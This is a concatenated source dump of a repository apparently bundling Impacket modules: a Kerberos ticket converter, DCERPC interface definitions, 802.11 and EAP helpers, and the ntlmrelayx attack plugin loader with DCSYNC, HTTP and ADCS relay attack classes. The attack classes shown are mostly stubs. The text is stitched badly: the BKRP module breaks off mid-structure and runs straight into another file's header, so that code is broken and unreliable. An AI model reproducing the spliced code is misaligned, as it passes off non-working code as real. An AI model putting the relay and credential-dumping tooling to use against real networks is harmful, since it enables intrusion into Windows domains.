# Zer1t0 (https://github.com/Zer1t0) 20 | # 21 | # References: 22 | # - https://tools.ietf.org/html/rfc4120 23 | # - http://web.mit.edu/KERBEROS/krb5-devel/doc/formats/ccache_file_format.html 24 | # - https://github.com/gentilkiwi/kekeo 25 | # - https://github.com/rvazarkar/KrbCredExport 26 | # 27 | 28 | import argparse 29 | import struct 30 | 31 | from impacket import version 32 | from impacket.krb5.ccache import CCache 33 | 34 | 35 | def parse_args(): 36 | parser = argparse.ArgumentParser() 37 | parser.add_argument('input_file', help="File in kirbi (KRB-CRED) or ccache format") 38 | parser.add_argument('output_file', help="Output file") 39 | return parser.parse_args() 40 | 41 | 42 | def main(): 43 | print(version.BANNER) 44 | 45 | args = parse_args() 46 | 47 | if is_kirbi_file(args.input_file): 48 | print('[*] converting kirbi to ccache...') 49 | convert_kirbi_to_ccache(args.input_file, args.output_file) 50 | print('[+] done') 51 | elif is_ccache_file(args.input_file): 52 | print('[*] converting ccache to kirbi...') 53 | convert_ccache_to_kirbi(args.input_file, args.output_file) 54 | print('[+] done') 55 | else: 56 | print('[X] unknown file format') 57 | 58 | 59 | def is_kirbi_file(filename): 60 | with open(filename, 'rb') as fi: 61 | fileid = struct.unpack(">B", fi.read(1))[0] 62 | return fileid == 0x76 63 | 64 | 65 | def is_ccache_file(filename): 66 | with open(filename, 'rb') as fi: 67 | fileid = struct.unpack(">B", fi.read(1))[0] 68 | return fileid == 0x5 69 | 70 | 71 | def convert_kirbi_to_ccache(input_filename, output_filename): 72 | ccache = CCache.loadKirbiFile(input_filename) 73 | ccache.saveFile(output_filename) 74 | 75 | 76 | def convert_ccache_to_kirbi(input_filename, output_filename): 77 | ccache = CCache.loadFile(input_filename) 78 | ccache.saveKirbiFile(output_filename) 79 | 80 | 81 | if __name__ == '__main__': 82 | main() 83 | -------------------------------------------------------------------------------- /plugins/impacket/Dot11Crypto.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # IEEE 802.11 Network packet codecs. 11 | # 12 | # Author: 13 | # Gustavo Moreira 14 | # 15 | 16 | class RC4(): 17 | def __init__(self, key): 18 | bkey = bytearray(key) 19 | j = 0 20 | self.state = bytearray(range(256)) 21 | for i in range(256): 22 | j = (j + self.state[i] + bkey[i % len(key)]) & 0xff 23 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 24 | 25 | def encrypt(self, data): 26 | i = j = 0 27 | out=bytearray() 28 | for char in bytearray(data): 29 | i = (i+1) & 0xff 30 | j = (j+self.state[i]) & 0xff 31 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 32 | out.append(char ^ self.state[(self.state[i] + self.state[j]) & 0xff]) 33 | 34 | return bytes(out) 35 | 36 | def decrypt(self, data): 37 | # It's symmetric 38 | return self.encrypt(data) 39 | -------------------------------------------------------------------------------- /plugins/impacket/Dot11KeyManager.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # IEEE 802.11 Network packet codecs. 11 | # 12 | # Author: 13 | # Gustavo Moreira 14 | 15 | from array import array 16 | class KeyManager: 17 | def __init__(self): 18 | self.keys = {} 19 | 20 | def __get_bssid_hasheable_type(self, bssid): 21 | # List is an unhashable type 22 | if not isinstance(bssid, (list,tuple,array)): 23 | raise Exception('BSSID datatype must be a tuple, list or array') 24 | return tuple(bssid) 25 | 26 | def add_key(self, bssid, key): 27 | bssid=self.__get_bssid_hasheable_type(bssid) 28 | if bssid not in self.keys: 29 | self.keys[bssid] = key 30 | return True 31 | else: 32 | return False 33 | 34 | def replace_key(self, bssid, key): 35 | bssid=self.__get_bssid_hasheable_type(bssid) 36 | self.keys[bssid] = key 37 | 38 | return True 39 | 40 | def get_key(self, bssid): 41 | bssid=self.__get_bssid_hasheable_type(bssid) 42 | if bssid in self.keys: 43 | return self.keys[bssid] 44 | else: 45 | return False 46 | 47 | def delete_key(self, bssid): 48 | bssid=self.__get_bssid_hasheable_type(bssid) 49 | if not isinstance(bssid, list): 50 | raise Exception('BSSID datatype must be a list') 51 | 52 | if bssid in self.keys: 53 | del self.keys[bssid] 54 | return True 55 | 56 | return False 57 | -------------------------------------------------------------------------------- /plugins/impacket/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # 12 | 13 | # Set default logging handler to avoid "No handler found" warnings. 14 | import logging 15 | try: # Python 2.7+ 16 | from logging import NullHandler 17 | except ImportError: 18 | class NullHandler(logging.Handler): 19 | def emit(self, record): 20 | pass 21 | 22 | # All modules inside this library MUST use this logger (impacket) 23 | # It is up to the library consumer to do whatever is wanted 24 | # with the logger output. By default it is forwarded to the 25 | # upstream logger 26 | 27 | LOG = logging.getLogger(__name__) 28 | LOG.addHandler(NullHandler()) 29 | -------------------------------------------------------------------------------- /plugins/impacket/dcerpc/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /plugins/impacket/dcerpc/v5/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /plugins/impacket/dcerpc/v5/bkrp.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # [MS-BKRP] Interface implementation 11 | # 12 | # Best way to learn how to use these calls is to grab the protocol standard 13 | # so you understand what the call does, and then read the test case located 14 | # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC 15 | # 16 | # Some calls have helper functions, which makes it even easier to use. 17 | # They are located at the end of this file. 18 | # Helper functions start with "h". 19 | # There are test cases for them too. 20 | # 21 | # Author: 22 | # Alberto Solino (@agsolino) 23 | # 24 | # ToDo: 25 | # [ ] 2.2.2 Client-Side-Wrapped Secret 26 | # 27 | 28 | from __future__ import division 29 | from __future__ import print_function 30 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray 31 | from impacket.dcerpc.v5.dtypes import DWORD, NTSTATUS, GUID, RPC_SID, NULL 32 | from impacket.dcerpc.v5.rpcrt import DCERPCException 33 | from impacket import system_errors 34 | from impacket.uuid import uuidtup_to_bin, string_to_bin 35 | from impacket.structure import Structure 36 | 37 | MSRPC_UUID_BKRP = uuidtup_to_bin(('3dde7c30-165d-11d1-ab8f-00805f14db40', '1.0')) 38 | 39 | class DCERPCSessionError(DCERPCException): 40 | def __init__(self, error_string=None, error_code=None, packet=None): 41 | DCERPCException.__init__(self, error_string, error_code, packet) 42 | 43 | def __str__( self ): 44 | key = self.error_code 45 | if key in system_errors.ERROR_MESSAGES: 46 | error_msg_short = system_errors.ERROR_MESSAGES[key][0] 47 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 48 | return 'BKRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 49 | else: 50 | return 'BKRP SessionError: unknown error code: 0x%x' % self.error_code 51 | 52 | ################################################################################ 53 | # CONSTANTS 54 | ################################################################################ 55 | 56 | BACKUPKEY_BACKUP_GUID = string_to_bin("7F752B10-178E-11D1-AB8F-00805F14DB40") 57 | BACKUPKEY_RESTORE_GUID_WIN2K = string_to_bin("7FE94D50-178E-11D1-AB8F-00805F14DB40") 58 | BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID = string_to_bin("018FF48A-EABA-40C6-8F6D-72370240E967") 59 | BACKUPKEY_RESTORE_GUID = string_to_bin("47270C64-2FC7-499B-AC5B-0E37CDCE899A") 60 | 61 | ################################################################################ 62 | # STRUCTURES 63 | ################################################################################ 64 | class BYTE_ARRAY(NDRUniConformantArray): 65 | item = 'c' 66 | 67 | class PBYTE_ARRAY(NDRPOINTER): 68 | referent = ( 69 | ('Data', BYTE_ARRAY), 70 | ) 71 | 72 | # 2.2.4.1 Rc4EncryptedPayload Structure 73 | class Rc4EncryptedPayload(Structure): 74 | structure = ( 75 | ('R3', '32s=""'), 76 | ('MAC', '20s=""'), 77 | ('SID', ':', RPC_SID), 78 | ('Secret', ':'), 79 | ) 80 | 81 | # 2.2.4 Secret Wrapped with Symmetric Key 82 | class WRAPPED_SECRET(Structure): 83 | structure = ( 84 | ('SIGNATURE', '. 19 | # There are test cases for them too. 20 | # 21 | # Author: 22 | # Alberto Solino (@agsolino) 23 | # 24 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray 25 | from impacket.dcerpc.v5.epm import PRPC_IF_ID 26 | from impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG 27 | from impacket.dcerpc.v5.rpcrt import DCERPCException 28 | from impacket.uuid import uuidtup_to_bin 29 | from impacket import nt_errors 30 | 31 | MSRPC_UUID_MGMT = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0')) 32 | 33 | class DCERPCSessionError(DCERPCException): 34 | def __init__(self, error_string=None, error_code=None, packet=None): 35 | DCERPCException.__init__(self, error_string, error_code, packet) 36 | 37 | def __str__( self ): 38 | key = self.error_code 39 | if key in nt_errors.ERROR_MESSAGES: 40 | error_msg_short = nt_errors.ERROR_MESSAGES[key][0] 41 | error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] 42 | return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 43 | else: 44 | return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code 45 | 46 | ################################################################################ 47 | # CONSTANTS 48 | ################################################################################ 49 | 50 | class rpc_if_id_p_t_array(NDRUniConformantArray): 51 | item = PRPC_IF_ID 52 | 53 | class rpc_if_id_vector_t(NDRSTRUCT): 54 | structure = ( 55 | ('count',ULONG), 56 | ('if_id',rpc_if_id_p_t_array), 57 | ) 58 | structure64 = ( 59 | ('count',ULONGLONG), 60 | ('if_id',rpc_if_id_p_t_array), 61 | ) 62 | 63 | class rpc_if_id_vector_p_t(NDRPOINTER): 64 | referent = ( 65 | ('Data', rpc_if_id_vector_t), 66 | ) 67 | 68 | error_status = ULONG 69 | ################################################################################ 70 | # STRUCTURES 71 | ################################################################################ 72 | 73 | ################################################################################ 74 | # RPC CALLS 75 | ################################################################################ 76 | class inq_if_ids(NDRCALL): 77 | opnum = 0 78 | structure = ( 79 | ) 80 | 81 | class inq_if_idsResponse(NDRCALL): 82 | structure = ( 83 | ('if_id_vector', rpc_if_id_vector_p_t), 84 | ('status', error_status), 85 | ) 86 | 87 | class inq_stats(NDRCALL): 88 | opnum = 1 89 | structure = ( 90 | ('count', ULONG), 91 | ) 92 | 93 | class inq_statsResponse(NDRCALL): 94 | structure = ( 95 | ('count', ULONG), 96 | ('statistics', DWORD_ARRAY), 97 | ('status', error_status), 98 | ) 99 | 100 | class is_server_listening(NDRCALL): 101 | opnum = 2 102 | structure = ( 103 | ) 104 | 105 | class is_server_listeningResponse(NDRCALL): 106 | structure = ( 107 | ('status', error_status), 108 | ) 109 | 110 | class stop_server_listening(NDRCALL): 111 | opnum = 3 112 | structure = ( 113 | ) 114 | 115 | class stop_server_listeningResponse(NDRCALL): 116 | structure = ( 117 | ('status', error_status), 118 | ) 119 | 120 | class inq_princ_name(NDRCALL): 121 | opnum = 4 122 | structure = ( 123 | ('authn_proto', ULONG), 124 | ('princ_name_size', ULONG), 125 | ) 126 | 127 | class inq_princ_nameResponse(NDRCALL): 128 | structure = ( 129 | ('princ_name', NDRUniConformantVaryingArray), 130 | ('status', error_status), 131 | ) 132 | 133 | 134 | ################################################################################ 135 | # OPNUMs and their corresponding structures 136 | ################################################################################ 137 | OPNUMS = { 138 | 0 : (inq_if_ids, inq_if_idsResponse), 139 | 1 : (inq_stats, inq_statsResponse), 140 | 2 : (is_server_listening, is_server_listeningResponse), 141 | 3 : (stop_server_listening, stop_server_listeningResponse), 142 | 4 : (inq_princ_name, inq_princ_nameResponse), 143 | } 144 | 145 | ################################################################################ 146 | # HELPER FUNCTIONS 147 | ################################################################################ 148 | def hinq_if_ids(dce): 149 | request = inq_if_ids() 150 | return dce.request(request) 151 | 152 | def hinq_stats(dce, count = 4): 153 | request = inq_stats() 154 | request['count'] = count 155 | return dce.request(request) 156 | 157 | def his_server_listening(dce): 158 | request = is_server_listening() 159 | return dce.request(request, checkError=False) 160 | 161 | def hstop_server_listening(dce): 162 | request = stop_server_listening() 163 | return dce.request(request) 164 | 165 | def hinq_princ_name(dce, authn_proto=0, princ_name_size=1): 166 | request = inq_princ_name() 167 | request['authn_proto'] = authn_proto 168 | request['princ_name_size'] = princ_name_size 169 | return dce.request(request, checkError=False) 170 | -------------------------------------------------------------------------------- /plugins/impacket/dcerpc/v5/oxabref.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol 11 | # 12 | # Author: 13 | # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) 14 | # 15 | 16 | from impacket import hresult_errors, mapi_constants 17 | from impacket.dcerpc.v5.dtypes import NULL, STR, ULONG 18 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER 19 | from impacket.dcerpc.v5.rpcrt import DCERPCException 20 | from impacket.uuid import uuidtup_to_bin 21 | 22 | MSRPC_UUID_OXABREF = uuidtup_to_bin(('1544F5E0-613C-11D1-93DF-00C04FD7BD09','1.0')) 23 | 24 | class DCERPCSessionError(DCERPCException): 25 | def __init__(self, error_string=None, error_code=None, packet=None): 26 | DCERPCException.__init__(self, error_string, error_code, packet) 27 | 28 | def __str__( self ): 29 | key = self.error_code 30 | if key in mapi_constants.ERROR_MESSAGES: 31 | error_msg_short = mapi_constants.ERROR_MESSAGES[key] 32 | return 'OXABREF SessionError: code: 0x%x - %s' % (self.error_code, error_msg_short) 33 | elif key in hresult_errors.ERROR_MESSAGES: 34 | error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] 35 | error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] 36 | return 'OXABREF SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 37 | else: 38 | return 'OXABREF SessionError: unknown error code: 0x%x' % self.error_code 39 | 40 | ################################################################################ 41 | # STRUCTURES 42 | ################################################################################ 43 | class PUCHAR_ARRAY(NDRPOINTER): 44 | referent = ( 45 | ('Data', STR), 46 | ) 47 | 48 | class PPUCHAR_ARRAY(NDRPOINTER): 49 | referent = ( 50 | ('Data', PUCHAR_ARRAY), 51 | ) 52 | 53 | ################################################################################ 54 | # RPC CALLS 55 | ################################################################################ 56 | 57 | # 3.1.4.1 RfrGetNewDSA (opnum 0) 58 | class RfrGetNewDSA(NDRCALL): 59 | opnum = 0 60 | structure = ( 61 | ('ulFlags', ULONG), 62 | ('pUserDN', STR), 63 | ('ppszUnused', PPUCHAR_ARRAY), 64 | ('ppszServer', PPUCHAR_ARRAY), 65 | ) 66 | 67 | class RfrGetNewDSAResponse(NDRCALL): 68 | structure = ( 69 | ('ppszUnused', PPUCHAR_ARRAY), 70 | ('ppszServer', PPUCHAR_ARRAY), 71 | ) 72 | 73 | # 3.1.4.2 RfrGetFQDNFromServerDN (opnum 1) 74 | class RfrGetFQDNFromServerDN(NDRCALL): 75 | opnum = 1 76 | structure = ( 77 | ('ulFlags', ULONG), 78 | ('cbMailboxServerDN', ULONG), 79 | ('szMailboxServerDN', STR), 80 | ) 81 | 82 | class RfrGetFQDNFromServerDNResponse(NDRCALL): 83 | structure = ( 84 | ('ppszServerFQDN', PUCHAR_ARRAY), 85 | ('ErrorCode', ULONG), 86 | ) 87 | 88 | ################################################################################ 89 | # OPNUMs and their corresponding structures 90 | ################################################################################ 91 | OPNUMS = { 92 | 0 : (RfrGetNewDSA, RfrGetNewDSAResponse), 93 | 1 : (RfrGetFQDNFromServerDN, RfrGetFQDNFromServerDNResponse), 94 | } 95 | 96 | ################################################################################ 97 | # HELPER FUNCTIONS 98 | ################################################################################ 99 | def checkNullString(string): 100 | if string == NULL: 101 | return string 102 | 103 | if string[-1:] != '\x00': 104 | return string + '\x00' 105 | else: 106 | return string 107 | 108 | def hRfrGetNewDSA(dce, pUserDN=''): 109 | request = RfrGetNewDSA() 110 | request['ulFlags'] = 0 111 | request['pUserDN'] = checkNullString(pUserDN) 112 | request['ppszUnused'] = NULL 113 | request['ppszServer'] = '\x00' 114 | 115 | resp = dce.request(request) 116 | resp['ppszServer'] = resp['ppszServer'][:-1] 117 | 118 | if request['ppszUnused'] != NULL: 119 | resp['ppszUnused'] = resp['ppszUnused'][:-1] 120 | 121 | return resp 122 | 123 | def hRfrGetFQDNFromServerDN(dce, szMailboxServerDN): 124 | szMailboxServerDN = checkNullString(szMailboxServerDN) 125 | request = RfrGetFQDNFromServerDN() 126 | request['ulFlags'] = 0 127 | request['szMailboxServerDN'] = szMailboxServerDN 128 | request['cbMailboxServerDN'] = len(szMailboxServerDN) 129 | 130 | resp = dce.request(request) 131 | resp['ppszServerFQDN'] = resp['ppszServerFQDN'][:-1] 132 | 133 | return resp 134 | -------------------------------------------------------------------------------- /plugins/impacket/eap.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # EAP packets 11 | # 12 | # Author: 13 | # Aureliano Calvo 14 | # 15 | 16 | from impacket.helper import ProtocolPacket, Byte, Word, Long, ThreeBytesBigEndian 17 | 18 | DOT1X_AUTHENTICATION = 0x888E 19 | 20 | class EAPExpanded(ProtocolPacket): 21 | """EAP expanded data according to RFC 3748, section 5.7""" 22 | 23 | WFA_SMI = 0x00372a 24 | SIMPLE_CONFIG = 0x00000001 25 | 26 | header_size = 7 27 | tail_size = 0 28 | 29 | vendor_id = ThreeBytesBigEndian(0) 30 | vendor_type = Long(3, ">") 31 | 32 | class EAPR(ProtocolPacket): 33 | """It represents a request or a response in EAP (codes 1 and 2)""" 34 | 35 | IDENTITY = 0x01 36 | EXPANDED = 0xfe 37 | 38 | header_size = 1 39 | tail_size = 0 40 | 41 | type = Byte(0) 42 | 43 | class EAP(ProtocolPacket): 44 | REQUEST = 0x01 45 | RESPONSE = 0x02 46 | SUCCESS = 0x03 47 | FAILURE = 0x04 48 | 49 | header_size = 4 50 | tail_size = 0 51 | 52 | code = Byte(0) 53 | identifier = Byte(1) 54 | length = Word(2, ">") 55 | 56 | class EAPOL(ProtocolPacket): 57 | EAP_PACKET = 0x00 58 | EAPOL_START = 0x01 59 | EAPOL_LOGOFF = 0x02 60 | EAPOL_KEY = 0x03 61 | EAPOL_ENCAPSULATED_ASF_ALERT = 0x04 62 | 63 | DOT1X_VERSION = 0x01 64 | 65 | header_size = 4 66 | tail_size = 0 67 | 68 | version = Byte(0) 69 | packet_type = Byte(1) 70 | body_length = Word(2, ">") 71 | -------------------------------------------------------------------------------- /plugins/impacket/examples/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /plugins/impacket/examples/logger.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # This logger is intended to be used by impacket instead 11 | # of printing directly. This will allow other libraries to use their 12 | # custom logging implementation. 13 | # 14 | 15 | import logging 16 | import sys 17 | 18 | # This module can be used by scripts using the Impacket library 19 | # in order to configure the root logger to output events 20 | # generated by the library with a predefined format 21 | 22 | # If the scripts want to generate log entries, they can write 23 | # directly to the root logger (logging.info, debug, etc). 24 | 25 | class ImpacketFormatter(logging.Formatter): 26 | ''' 27 | Prefixing logged messages through the custom attribute 'bullet'. 28 | ''' 29 | def __init__(self): 30 | logging.Formatter.__init__(self,'%(bullet)s %(message)s', None) 31 | 32 | def format(self, record): 33 | if record.levelno == logging.INFO: 34 | record.bullet = '[*]' 35 | elif record.levelno == logging.DEBUG: 36 | record.bullet = '[+]' 37 | elif record.levelno == logging.WARNING: 38 | record.bullet = '[!]' 39 | else: 40 | record.bullet = '[-]' 41 | 42 | return logging.Formatter.format(self, record) 43 | 44 | class ImpacketFormatterTimeStamp(ImpacketFormatter): 45 | ''' 46 | Prefixing logged messages through the custom attribute 'bullet'. 47 | ''' 48 | def __init__(self): 49 | logging.Formatter.__init__(self,'[%(asctime)-15s] %(bullet)s %(message)s', None) 50 | 51 | def formatTime(self, record, datefmt=None): 52 | return ImpacketFormatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S") 53 | 54 | def init(ts=False): 55 | # We add a StreamHandler and formatter to the root logger 56 | handler = logging.StreamHandler(sys.stdout) 57 | if not ts: 58 | handler.setFormatter(ImpacketFormatter()) 59 | else: 60 | handler.setFormatter(ImpacketFormatterTimeStamp()) 61 | logging.getLogger().addHandler(handler) 62 | logging.getLogger().setLevel(logging.INFO) 63 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/attacks/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Protocol Attack Base Class definition 11 | # Defines a base class for all attacks + loads all available modules 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | import os, sys 18 | import pkg_resources 19 | from impacket import LOG 20 | from threading import Thread 21 | 22 | PROTOCOL_ATTACKS = {} 23 | 24 | # Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc) 25 | # Besides using this base class you need to define one global variable when 26 | # writing a plugin for protocol clients: 27 | # PROTOCOL_ATTACK_CLASS = "" 28 | # or (to support multiple classes in one file) 29 | # PROTOCOL_ATTACK_CLASSES = ["", ""] 30 | # These classes must have the attribute PLUGIN_NAMES which is a list of protocol names 31 | # that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 32 | class ProtocolAttack(Thread): 33 | PLUGIN_NAMES = ['PROTOCOL'] 34 | def __init__(self, config, client, username): 35 | Thread.__init__(self) 36 | # Set threads as daemon 37 | self.daemon = True 38 | self.config = config 39 | self.client = client 40 | # By default we only use the username and remove the domain 41 | self.username = username.split('/')[1] 42 | 43 | def run(self): 44 | raise RuntimeError('Virtual Function') 45 | 46 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'): 47 | if file.find('__') >= 0 or file.endswith('.py') is False: 48 | continue 49 | # This seems to be None in some case (py3 only) 50 | # __spec__ is py3 only though, but I haven't seen this being None on py2 51 | # so it should cover all cases. 52 | try: 53 | package = __spec__.name # Python 3 54 | except NameError: 55 | package = __package__ # Python 2 56 | __import__(package + '.' + os.path.splitext(file)[0]) 57 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 58 | try: 59 | pluginClasses = set() 60 | try: 61 | if hasattr(module, 'PROTOCOL_ATTACK_CLASSES'): 62 | # Multiple classes 63 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES: 64 | pluginClasses.add(getattr(module, pluginClass)) 65 | else: 66 | # Single class 67 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS'))) 68 | except Exception as e: 69 | LOG.debug(e) 70 | pass 71 | 72 | for pluginClass in pluginClasses: 73 | for pluginName in pluginClass.PLUGIN_NAMES: 74 | LOG.debug('Protocol Attack %s loaded..' % pluginName) 75 | PROTOCOL_ATTACKS[pluginName] = pluginClass 76 | except Exception as e: 77 | LOG.debug(str(e)) 78 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/attacks/dcsyncattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # HTTP Attack Class 11 | # HTTP protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 18 | from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes 19 | 20 | PROTOCOL_ATTACK_CLASS = "DCSYNCAttack" 21 | 22 | class DCSYNCAttack(ProtocolAttack): 23 | """ 24 | This is the default HTTP attack. This attack only dumps the root page, though 25 | you can add any complex attack below. self.client is an instance of urrlib.session 26 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 27 | proxy through ntlmrelayx 28 | """ 29 | PLUGIN_NAMES = ["DCSYNC"] 30 | def run(self): 31 | return 32 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/attacks/httpattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # HTTP Attack Class 11 | # HTTP protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # Ex Android Dev (@ExAndroidDev) 17 | 18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 19 | from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack 20 | 21 | PROTOCOL_ATTACK_CLASS = "HTTPAttack" 22 | 23 | 24 | class HTTPAttack(ProtocolAttack, ADCSAttack): 25 | """ 26 | This is the default HTTP attack. This attack only dumps the root page, though 27 | you can add any complex attack below. self.client is an instance of urrlib.session 28 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 29 | proxy through ntlmrelayx 30 | """ 31 | PLUGIN_NAMES = ["HTTP", "HTTPS"] 32 | 33 | def run(self): 34 | 35 | if self.config.isADCSAttack: 36 | ADCSAttack._run(self) 37 | else: 38 | # Default action: Dump requested page to file, named username-targetname.html 39 | # You can also request any page on the server via self.client.session, 40 | # for example with: 41 | self.client.request("GET", "/") 42 | r1 = self.client.getresponse() 43 | print(r1.status, r1.reason) 44 | data1 = r1.read() 45 | print(data1) 46 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/plugins/impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # AD CS relay attack 11 | # 12 | # Authors: 13 | # Ex Android Dev (@ExAndroidDev) 14 | # Tw1sm (@Tw1sm) 15 | 16 | import re 17 | import base64 18 | from 